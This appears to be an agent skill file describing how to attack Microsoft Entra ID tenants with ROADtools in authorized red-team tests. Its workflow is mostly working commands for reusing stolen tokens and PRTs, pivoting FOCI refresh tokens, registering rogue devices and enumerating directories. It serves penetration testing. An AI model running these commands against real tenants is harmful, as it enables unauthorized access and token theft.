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skills/mukul975/Anthropic-Cybersecurity-Skills/attacking-entra-id-with-roadtools

attacking-entra-id-with-roadtools

1
mukul975/Anthropic-Cybersecurity-Skills·Security·Audit pending·Snapshot 18f500f89020

Summary

This source did not publish a separate summary. Review SKILL.md before using the skill.

SKILL.md

Attacking Entra ID with ROADtools

Authorized use only: ROADtools interacts with live Microsoft Entra ID (Azure AD) tenants and can register devices, mint and exchange tokens, and enumerate directory objects. Use it solely against tenants you own or are explicitly authorized in writing to test. Unauthorized access to a cloud tenant is illegal.

Overview

ROADtools (by Dirk-jan Mollema) is the de facto offensive toolkit for Microsoft Entra ID. It has two main components:

  • ROADrecon — authenticates to Entra ID, gathers the full directory into a local SQLite database via the Azure AD Graph API, and serves an Angular GUI to explore users, groups, roles, applications, service principals, conditional-access policies, and device objects offline. A plugin system exports to BloodHound and analyzes CA policies.
  • roadtx (ROADtools Token eXchange) — acquires and exchanges Entra-issued tokens across the many OAuth flows (ROPC, device code, auth-code, refresh-token exchange, app/federated app), performs device registration, and handles Primary Refresh Token (PRT) operations including PRT-based SSO and cookie minting. Its FOCI (Family of Client IDs) awareness lets a refresh token for one first-party client be redeemed for another resource.

Together they cover the Discovery phase against cloud identity: enumerate the tenant (T1087.004 Account Discovery: Cloud Account) and obtain/manipulate the tokens needed to reach Microsoft Graph, Azure Resource Manager, and other resources. ROADrecon's offline database makes recon stealthy and fast; roadtx makes token theft, PRT abuse, and cross-resource pivoting practical.

When to Use

  • During an authorized Azure / Entra ID red-team or cloud penetration test.
  • When you have a foothold credential, refresh token, or PRT and need to enumerate the tenant.
  • When you must pivot a token from one resource (e.g., Azure CLI) to another (e.g., Microsoft Graph).
  • When validating that conditional-access, device-compliance, and token controls actually constrain an attacker.
  • When mapping Entra attack paths (export to BloodHound for graph analysis).
  • Prerequisites

    • Written authorization and defined scope for the target tenant.
    • A starting credential: username/password (no MFA flows), a device code session, a refresh/access token, or a registered device's PRT.
    • Python 3.7+ (roadtx Selenium flows need a matching geckodriver/Firefox).
    # Core install (roadlib is a shared dependency, pulled in automatically)
    python -m pip install roadrecon
    python -m pip install roadtx
    # Verify
    roadrecon --help
    roadtx --help
    

    Objectives

    • Authenticate to Entra ID via the appropriate flow (device code preferred for MFA).
    • Gather the full directory with ROADrecon and analyze it in the GUI.
    • Export the directory to BloodHound and run CA-policy analysis plugins.
    • Acquire tokens with roadtx and exchange refresh tokens across resources/clients.
    • Demonstrate PRT-based SSO and document the resulting access.

    MITRE ATT&CK Mapping

    IDTacticOfficial Technique NameRole in this skill
    T1087.004DiscoveryAccount Discovery: Cloud AccountROADrecon enumerates tenant users/accounts
    T1069.003DiscoveryPermission Groups Discovery: Cloud GroupsROADrecon enumerates Entra groups and roles
    T1538DiscoveryCloud Service DashboardGUI exploration of tenant configuration
    T1550.001Defense Evasion / Lateral MovementUse Alternate Authentication Material: Application Access Tokenroadtx refresh-token exchange across resources
    T1528Credential AccessSteal Application Access Tokenroadtx PRT/token acquisition

    Workflow

    Step 1: Authenticate with ROADrecon

    Pick the flow that matches your foothold. Device code supports MFA; ROPC (-u/-p) does not.

    # Username/password (legacy, no MFA)
    roadrecon auth -u [email protected] -p 'Password123!'
    
    # Device-code flow (supports MFA)
    roadrecon auth --device-code
    
    # From a stolen access or refresh token
    roadrecon auth --access-token <JWT>
    roadrecon auth --refresh-token <refresh_token>
    
    # From a PRT (with session key) for SSO-grade access
    roadrecon auth --prt <prt> --prt-sessionkey <session_key>
    

    Authentication writes .roadtools_auth in the working directory.

    Step 2: Gather the directory

    # Full gather into roadrecon.db (default)
    roadrecon gather
    
    # Include MFA/auth-method details (requires a privileged role)
    roadrecon gather --mfa
    

    Step 3: Explore in the GUI

    roadrecon gui
    # Browse to http://127.0.0.1:5000 — users, groups, roles, applications,
    # service principals, devices, and conditional-access policies, all offline.
    

    Step 4: Run analysis plugins

    # Analyze conditional-access policies
    roadrecon plugin policies -h
    roadrecon plugin policies
    
    # Export the gathered data to a BloodHound-importable format
    roadrecon plugin bloodhound -h
    roadrecon plugin bloodhound
    

    Step 5: Acquire tokens with roadtx

    # ROPC: get a Microsoft Graph token for the Azure CLI client
    roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph
    
    # Device-code style interactive auth for the Teams client to Graph
    roadtx interactiveauth -c msteams -r msgraph
    
    # From an existing refresh token
    roadtx gettokens --refresh-token <refresh_token> -r msgraph
    

    Tokens are written to .roadtools_auth (use --tokens-stdout to print).

    Step 6: Exchange refresh tokens across resources (FOCI pivot)

    A FOCI refresh token obtained for one first-party client can be redeemed for another resource without re-auth.

    # Convert the stored refresh token to an Azure Resource Manager token
    roadtx refreshtokento -r azrm
    
    # Convert to a scoped Graph token via the Teams client
    roadtx refreshtokento -c msteams -r msgraph
    
    # Find which first-party clients hold a given scope
    roadtx getscope -s https://graph.microsoft.com/mail.read --foci
    

    Step 7: Device registration and PRT-based SSO

    # Register a (virtual) device to the tenant
    roadtx device -n redteam-device
    
    # Request a PRT using the device cert/key and user creds
    roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem
    
    # Use the PRT to authenticate a client to a resource (SSO-grade)
    roadtx prtauth -c msteams -r msgraph
    
    # Enrich a PRT with an interactive MFA claim
    roadtx prtenrich -u [email protected]
    

    Step 8: Inspect tokens

    # Decode and print claims of the stored / a supplied token
    roadtx describe -t <JWT>
    roadtx describe < .roadtools_auth | jq .
    

    Tools and Resources

    ToolPurposePrimary Source
    ROADtools (repo)Toolkit overview + wikihttps://github.com/dirkjanm/ROADtools
    ROADrecon wikiAuth/gather/gui/plugin usagehttps://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
    roadtx wikiToken exchange + PRT/device flowshttps://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)
    BloodHound CEGraph analysis of exported Entra datahttps://github.com/SpecterOps/BloodHound
    Microsoft identity platformToken/flow referencehttps://learn.microsoft.com/entra/identity-platform/

    Validation Criteria

    • Authenticated to the target tenant via an authorized flow; .roadtools_auth created.
    • Directory gathered into roadrecon.db (with --mfa where role allows).
    • GUI explored; users, groups, roles, apps, CA policies reviewed.
    • CA-policy and BloodHound plugins executed; data exported.
    • Tokens acquired with roadtx for at least one resource.
    • Refresh-token exchange to a second resource demonstrated (FOCI pivot).
    • Device registered and PRT-based SSO demonstrated (where in scope).
    • Token claims inspected with roadtx describe.
    • Findings and access documented for the engagement report.

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